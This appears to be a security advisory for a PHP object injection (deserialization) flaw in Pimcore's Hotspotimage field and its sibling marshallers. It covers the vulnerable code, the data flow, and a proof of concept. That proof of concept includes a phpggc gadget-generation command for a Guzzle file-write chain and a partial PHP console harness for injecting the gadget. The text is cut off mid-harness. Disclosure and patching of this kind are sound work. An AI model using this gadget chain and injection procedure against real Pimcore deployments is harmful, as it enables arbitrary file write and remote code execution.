CVE-2026-55220

Summary

Pimcore\Model\DataObject\ClassDefinition\Data\Hotspotimage::getDataFromResource() deserializes the *__hotspots object-store column through the Pimcore\Tool\Serialize::unserialize() wrapper without a class allowlist (the wrapper's $allowedClasses parameter defaults to true, i.e. fully unrestricted). Because the persistence layer always stores this column as PHP-serialize()d bytes, every load of a DataObject that has a Hotspotimage (advanced image) field runs an unrestricted unserialize() over the stored column value. An attacker who can write the *__hotspots store column with crafted serialized bytes achieves PHP Object Injection (CWE-502): arbitrary classes are instantiated and their magic methods (__wakeup/__destruct) execute, which is exploitable for remote code execution via gadget chains present in Pimcore's own bundled dependencies (e.g. guzzlehttp/guzzle).

The same field-data family also affects the sibling marshallers ImageGallery, Block, and Video, which use the identical json_decode(...) ?: Serialize::unserialize(...) fallback over their respective store columns. The root cause is shared: Serialize::unserialize() defaults to an unrestricted class list, and these callers pass no second argument.

Severity

High. Successful exploitation yields PHP Object Injection leading to remote code execution (proven below as arbitrary file write using a gadget from Pimcore's bundled guzzlehttp/guzzle 7.11.0). This is the deserialization leg of an attack: it requires the ability to write the *__hotspots object-store column with attacker-chosen serialized bytes. No class-allowlist defense is present, so any such write is directly weaponizable on the next object load. CVSS-wise this is comparable to other deserialization sinks over attacker-influenceable storage in this codebase.

Affected component

• File: models/DataObject/ClassDefinition/Data/Hotspotimage.php, method getDataFromResource().
• Vulnerable lines (v2026.1.4 / v12.3.8):

  $metaData = $data[$this->getName() . '__hotspots'];
  // check if the data is JSON (backward compatibility)
  $md = json_decode($metaData, true);
  if (!$md) {
      $md = Serialize::unserialize($metaData);   // unrestricted: allowed_classes defaults to true
  } elseif (is_array($md)) {
      $md['hotspots'] = $md;
  }
  

• Root enabler: lib/Tool/Serialize.php

  public static function unserialize(?string $data = null, array|bool $allowedClasses = true): mixed
  {
      if ($data === null || $data === '') { return $data; }
      return unserialize($data, ['allowed_classes' => $allowedClasses]);  // default true = unrestricted
  }
  

• Sibling marshallers with the identical fallback shape: ImageGallery, Block, Video (DataObject\ClassDefinition\Data).
• Package: pimcore/pimcore (Composer).
• Affected versions: all currently maintained releases, including the latest v2026.1.4 and v12.3.8 (verified against deployed v2026.1.4).

Data flow

1. On save, Hotspotimage::getDataForResource() stores the hotspot/marker/crop metadata as Serialize::serialize($metaData) into the <field>__hotspots object-store column — i.e. PHP serialized bytes, not JSON.
2. On load, Hotspotimage::getDataFromResource() reads that column, calls json_decode() (which fails for the serialized format), and therefore falls through to Serialize::unserialize($metaData) with the default unrestricted class list.
3. Serialize::unserialize() invokes unserialize($data, ['allowed_classes' => true]), instantiating any class named in the bytes and triggering its magic methods.
4. The load path is exercised on essentially every object retrieval (admin grid/detail, frontend rendering, Studio/API reads, inheritance walks) for objects whose class declares a Hotspotimage field, with a non-null <field>__image.

The attacker primitive is the ability to place crafted serialized bytes into the <field>__hotspots store column (for example through an SQL-write/store-write primitive). The defect is that the deserialization is performed with no class allowlist, so any such write is directly executable.

Proof of Concept

Verified end-to-end against a real, locally deployed Pimcore v2026.1.4 (Composer skeleton + MariaDB + pimcore:install), not a ported stub. The gadget is phpggc Guzzle/FW1 built against Pimcore's own bundled guzzlehttp/guzzle 7.11.0; its GuzzleHttp\Cookie\FileCookieJar::__destruct writes an attacker-controlled file to disk (a file-write primitive; the same surface reaches RCE via other vendored gadget chains).

Gadget generation (476→474 raw bytes, non-JSON so the unserialize fallback is taken):

printf 'PWNED_BY_DESERIALIZATION_%s' "$(date +%s)" > /tmp/ggc_local_src.txt
./phpggc Guzzle/FW1 /tmp/pimcore_pwned_hotspot.txt /tmp/ggc_local_src.txt | tr -d '\n' > /tmp/ggc_guzzle_fw1.ser
# stored bytes begin: O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{...

Reproduction harness (a Symfony console command living in the deployed app; it creates a real DataObject class with a Hotspotimage field, a real image asset, a real saved object, performs the attacker store-write into object_store_<id>.img__hotspots, then reloads the object through the real Pimcore model layer):

<?php
declare(strict_types=1);
namespace App\Command;

use Pimcore\Db;
use Pimcore\Model\Asset;
use Pimcore\Model\DataObject;
use Pimcore\Model\DataObject\ClassDefinition;
use Symfony\Component\Console\Attribute\AsCommand;
use Symfony\Component\Console\Command\Command;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\OutputInterface;

#[AsCommand(name: 'e2e:hotspot', description: 'E2E CWE-502 Hotspotimage __hotspots unserialize')]
final class E2eHotspotCommand extends Command
{
    protected function configure(): void
    {
        $this->addOption('benign', null, InputOption::VALUE_NONE, 'negative control: benign JSON');
        $this->addOption('restricted', null, InputOption::VALUE_NONE, 'negative control: allowed_classes=false');
    }

    protected function execute(InputInterface $input, OutputInterface $output): int
    {
        $o = fn (string $m) => $output->writeln($m);
        $gadget = (string) file_get_contents('/tmp/ggc_guzzle_fw1.ser');
        $target = '/tmp/pimcore_pwned_hotspot.txt';
        @unlink($target);

        $o('=== STEP 1: create DataObject class with a Hotspotimage field ===');
        $class = ClassDefinition::getByName('E2eHotspot');
        if (!$class) {
            $class = new ClassDefinition();
            $class->setName('E2eHotspot');
            $class->setGroup('e2e');
            $field = new ClassDefinition\Data\Hotspotimage();
            $field->setName('img');
            $field->setTitle('img');
            $panel = new ClassDefinition\Layout\Panel();
            $panel->setName('Layout');
            $panel->addChild($field);
            $class->setLayoutDefinitions($panel);
            $class->save();
        }
        $o('  class id=' . $class->getId());

        $o('=== STEP 2: create image asset (Hotspotimage needs a valid __image id) ===');
        $png = base64_decode('iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAQAAAC1HAwCAAAAC0lEQVR42mNk+M9QDwADhgGAWjR9awAAAABJRU5ErkJggg==');
        $asset = Asset::getByPath('/e2e_pixel.png');
        if (!$asset) {
            $asset = new Asset\Image();
            $asset->setFilename('e2e_pixel.png');
            $asset->setParent(Asset::getById(1));
            $asset->setData($png);
            $asset->save();
        }
        $o('  asset id=' . $asset->getId());

        $o('=== STEP 3: create+save object carrying that image ===');
        $obj = DataObject::getByPath('/e2e_obj');
        if (!$obj) {
            $fqcn = '\\Pimcore\\Model\\DataObject\\' . $class->getName();
            $obj = new $fqcn();
            $obj->setKey('e2e_obj');
            $obj->setParent(DataObject::getById(1